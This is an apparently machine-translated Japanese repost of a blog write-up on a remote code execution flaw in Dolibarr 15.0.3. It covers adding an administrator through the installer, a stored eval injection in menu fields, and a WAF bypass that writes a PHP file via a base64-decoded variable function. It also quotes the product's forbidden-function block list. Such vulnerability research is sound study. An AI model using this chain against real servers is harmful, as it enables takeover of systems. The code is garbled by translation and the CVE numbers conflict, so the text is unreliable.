Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86388136

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01脆弱性はじめに

dolibarr erp crm=15.0.3は、評価注入に対して脆弱です。デフォルトでは、任意の管理者をdolibarrのインストールページに追加でき、正常に追加された場合、悪意のあるコードをデータベースに挿入してから、評価によって実行できます。

CVE番号:CVE-2022-2633

脆弱性の説明:dolibarr edit.phpには、リモートコマンド実行の脆弱性があります。攻撃者が論理的な脆弱性を通じて管理者を作成した後、バックグラウンドの脆弱性を介してサーバーの権限を取得できます。

影響を受けるバージョン:=15.0.3

0x02脆弱性分析

1.環境構造

ソースコードダウンロードアドレス:3https://github.com/dolibarr/dolibarr/archive/refs/tags/15.0.3.zip

それをWebディレクトリに解凍して直接アクセスする〜/htdocs/

image-20221112215135292

次に、インストールするようにconf/conf.phpを構成します

2。管理者ユーザーを登録

これは実際には論理的な脆弱性です。システムをインストールした後、ロックしませんが、ユーザーがドキュメントディレクトリに手動で追加する必要があるため、管理者アカウントを追加するためにいつでも入力できます。

たとえば、ここにAAAユーザーを追加します

image-20221112224440198

背景を正常に入力できます

image-20221112224514801

3.BackEnd RCE

バックグラウンドRCEの最後のポイントは、htdocs/core/lib/functions.lib.phpのdol_eval()関数にあります

しかし、ここにはWAFがあり、危険な機能のほとんどは禁止されています

//PHP execまたはPHPファイル機能の使用をブロックします

$ forbiddenphpstrings=array( '$$');

$ FORBIDDENPHPSTRINGS=ARRAY_MERGE($ FORBIDDENPHPSTRINGS、ARRAY( '_ env'、 '_Session'、 '_cookie'、 '_get'、 '_post'、 '_request'));

$ forbiddenphpfunctions=array( 'exec'、 'passthru'、 'shell_exec'、 'system'、 'proc_open'、 'popen'、 'eval'、 'dol_eval'、 'executecli');

$forbiddenphpfunctions=array_merge($forbiddenphpfunctions, array('fopen', 'file_put_contents', 'fputs', 'fputscsv', 'fwrite', 'fpassthru', 'require', 'include', 'mkdir', 'rmdir', 'symlink', 'touch', 'unlink', 'umask'));

$ forbiddenphpfunctions=array_merge($ forbiddenphpfunctions、array( 'function'、 'call_user_func'));

$ forbiddenphpregex='global \ s+\ $ | \ b('。prode( '|'、$ forbiddenphpfunctions)。 ')\ b';

する {

$ oldstringtoclean=$ s;

$ s=str_ireplace($ forbiddenphpstrings、 '__forbiddenstring__'、$ s);

$ s=preg_replace( '/'.forbiddenphpregex。'/i '、' __forbiddenstring__ '、$ s);

//$ s=preg_replace( '/\ $ [a-za-z0-9 _ \ - \ $]+\(/i'、 ''、$ s); //削除$ function(call and $ mycall-mythod(

} while($ oldstringtoclean!=$ s);

if(strpos($ s、 '__forbiddenstring__')!==false){

dol_syslog( 'bad string syntax to Evaluate3:'。$ s、log_warning);

if($ returnValue){

'bad string構文を返して、'を評価します。$ s;

} それ以外{

dol_syslog( 'bad string syntax to Evaluate:'。$ s);

戻る '';

}

}

//$ s.'br \ n 'を印刷します。

if($ returnValue){

if($ hiderrors){

return @eval( 'return'。$ s。 ';');

} それ以外{

return eval( 'return'。$ s。 ';');

}

} それ以外{

if($ hiderrors){

@eval($ s);

} それ以外{

eval($ s);

}

}

ここでは、dol_eval()の呼び出しを探し、上記のverifcond()が呼び出されます

そして、ここにスプライシングがあり、これについては後で説明します。

関数verifcond($ stroevaluate)

{

グローバル$ユーザー、$ conf、$ langs;

グローバル$ leftmenu;

グローバル$ rights; //dol_eval関数にエクスポートします

//$ strtoevaluate.'br \ n ';

$ rights=true;

if(ISSET($ sttoevaluate)$ stroevaluate!==''){

$ str='if(!('。$ sttoevaluate。 '))$ rights=false;';

dol_eval($ str、0、1、 '2');

}

$ rightsを返します。

}

次に、Verifcond関数のグローバルパラメーター制御可能な呼び出しを探します。 menubase.class.phpのmenuload()関数にポイントがあります。

image-20221112232201159

Verifcondコードは制御可能ですが、データベースのクエリ結果から取得されることがわかります。

パームと有効化に注意してください。どちらもVerifcondに直接入力できます

$ resql=$ this-db-query($ sql);

if($ resql){

$ numa=$ this-db-num_rows($ resql);

$ a=0;

$ b=0;

while($ a $ numa){

//$ objm=$ this-db-fetch_object($ resql);

$ menu=$ this-db-fetch_array($ resql);

//$右を定義します

$ perms=true;

if(isset($ menu ['perms'])){

$ tmpcond=$ menu ['perms'];

if($ leftmenu=='all'){

$ tmpcond=preg_replace( '/\ $ leftmenu \ s*==\ s*[' \ 'a-za-z _]+/'、 '1==1'、$ tmpcond); //条件の部分を真に強制します

}

$ perms=verifcond($ tmpcond);

//'verifcond rowid='。$ menu ['rowid']。 'を印刷します。 '。$ tmpcond.':'。$ perms.'br \ n ';

}

//$ enabledを定義します

$ enabled=true;

if(isset($ menu ['enabled'])){

$ tmpcond=$ menu ['enabled'];

if($ leftmenu=='all'){

$ tmpcond=preg_replace( '/\ $ leftmenu \ s*==\ s*[' \ 'a-za-z _]+/'、 '1==1'、$ tmpcond); //条件の部分を真に強制します

}

$ enabled=verifcond($ tmpcond);

}

ここで実行されているSQLステートメントを見るために正面に行きましょう。 「.main_db_prefix」のデータを照会しています。メニューテーブルですが、条件付きステートメントがあります

(0、 '。$ conf-entity。')のm.entity

m.menu_handler in( ''。$ this-db-escape($ menu_handler)。 ''、 'all')

したがって、「.main_db_prefix」に挿入ステートメントを見つけることができる場合。メニューでは、パームを制御し、フィールドとエンティティとmenu_handlerを有効にして、条件を満たすことができます。エンティティは$ conf-entityから来ていることに注意してください

$ sql='Select M.Rowid、M.Type、M.Module、M.FK_Menu、M.FK_Mainmenu、M.FK_LeftMenu、M.Url、M.Titre、M.Prefix、M.Langs、M.Perms、M.Enabled、M.Target、M.Mainmenu、M.Leftmenu、M.Leftmenu、M.Position';

$ sql。='from' .main_db_prefix.'menu as m ';

$ sql。='ここで、m.entity in(0、'。$ conf-entity。 ')';

$ sql。='およびm.menu_handler in(' '。$ this-db-escape($ menu_handler)。' '、' all ')';

if($ type_user==0){

$ sql。='およびm.usertype in(0,2)';

}

if($ type_user==1){

$ sql。='およびm.usertype in(1,2)';

}

$ sql。='M.Position、M.Rowid'による注文;

ここでは、定期的な検索を検索してください。実際、同じファイルにcreate()関数、そのような点があります。

image-20221113000249851

次に、パラメーターが制御可能かどうかを確認する必要があります。ここの値はメンバー属性として設定されますが、エンティティは$ conf-entityであり、上記のSQLクエリもこれであるため、条件を直接満たします。

image-20221113001946769

次に、menuload関数を実行するときにmenu_handlerが自動的に入力されることがわかりました。

image-20221113002330295

したがって、両方の条件が解決された場所。残りは、パーマとイネーブルが制御されているかどうかを確認することです。クラス内のメンバー変数を割り当てる場所はないため、グローバルに検索する必要があります。

メニュー/edit.phpでパーマとイネーブルを直接制御できることがわかります

image-20221113002856865

デバッグ後、MenuIDは一意である必要があることがわかりました。そうしないと、競合し、データベースに書き込むことができません。ここでのタイプは1に設定する必要があります。そうしないと、エラーが報告されます。

1049983-20221114122937786-1858356172.png

次に、WAFをバイパスしてevalを実行する方法を研究します。ここで、著者のアプローチは、PHP:変数関数の特性を使用することです

//file_put_contents

$ a=base64_decode( 'zmlszv9wdxrfy29udgvudhm=');

//shellcode

$ a( '。1234.php'、base64_decode( 'pd9wahagcghwaw5mbygpoz8+cg=='));

Verifcond関数を見る

これが文字列のスプライシングです。 evalが実行されているため、ブラケットを閉じて次のコードをコメントすることができます。

関数verifcond($ stroevaluate)

{

グローバル$ユーザー、$ conf、$ langs;

グローバル$ leftmenu;

グローバル$ rights; //dol_eval関数にエクスポートします

//$ strtoevaluate.'br \ n ';

$ rights=true;

if(ISSET($ sttoevaluate)$ stroevaluate!==''){

$ str='if(!('。$ sttoevaluate。 '))$ rights=false;';

dol_eval($ str、0、1、 '2');

}

$ rightsを返します。

}

これはそのようなペイロードです(無害なペイロード

1==1)

次に、有効なパラメーターを配置してデータベースに保存すると、最終的にパッケージは次のとおりです。

image-20221113004416906

データベースに正常に保存されます

image-20221113004508666

デバッグしてVerifcondを入力します

image-20221113004645570

Verifcond、悪意のあるコンストラクトステッチバイパスでフォローアップ、Dol_Evalを入力します

image-20221113004826342

コード実行に正常に

image-20221113004918701

成功したけいれん

image-20221113005123697

脆弱性コールスタック

image-20221113004952924

0x03脆弱性の概要

ここでのこのRCEの脆弱性の原則は、実際には二次注射に似ています。まず、悪意のあるコードがデータベースに保存され、次にデータベースからデータを抽出するときに悪意のあるコードがトリガーされます。ここでもWAFがバイパスされ、PHP機能——変数関数を使用します

脆弱性修正

ここでは、著者の脆弱性に対する修正は、Verifcond関数を強化することです

ここで、文字列のスプライシングがキャンセルされ、dol_evalの4番目のパラメーターは「1」です

image-20221113010538177

これは、次の判断になります。ここでのコメントを見てください。ここのルールは、RCEを防ぐように設計されています。

image-20221113011151428

1つは、DOL_EVAL関数の強化です。ここで、ForbiddenPhpFunctionsはVerifcond関数を追加します。これはVerifcondの実行を直接禁止しますが、このHHHの意味がわかりません

image-20221113010132703

著者:Huamang

元のテキスト接続から転載:https://blog.huamang.xyz/post/cve-2022-40871/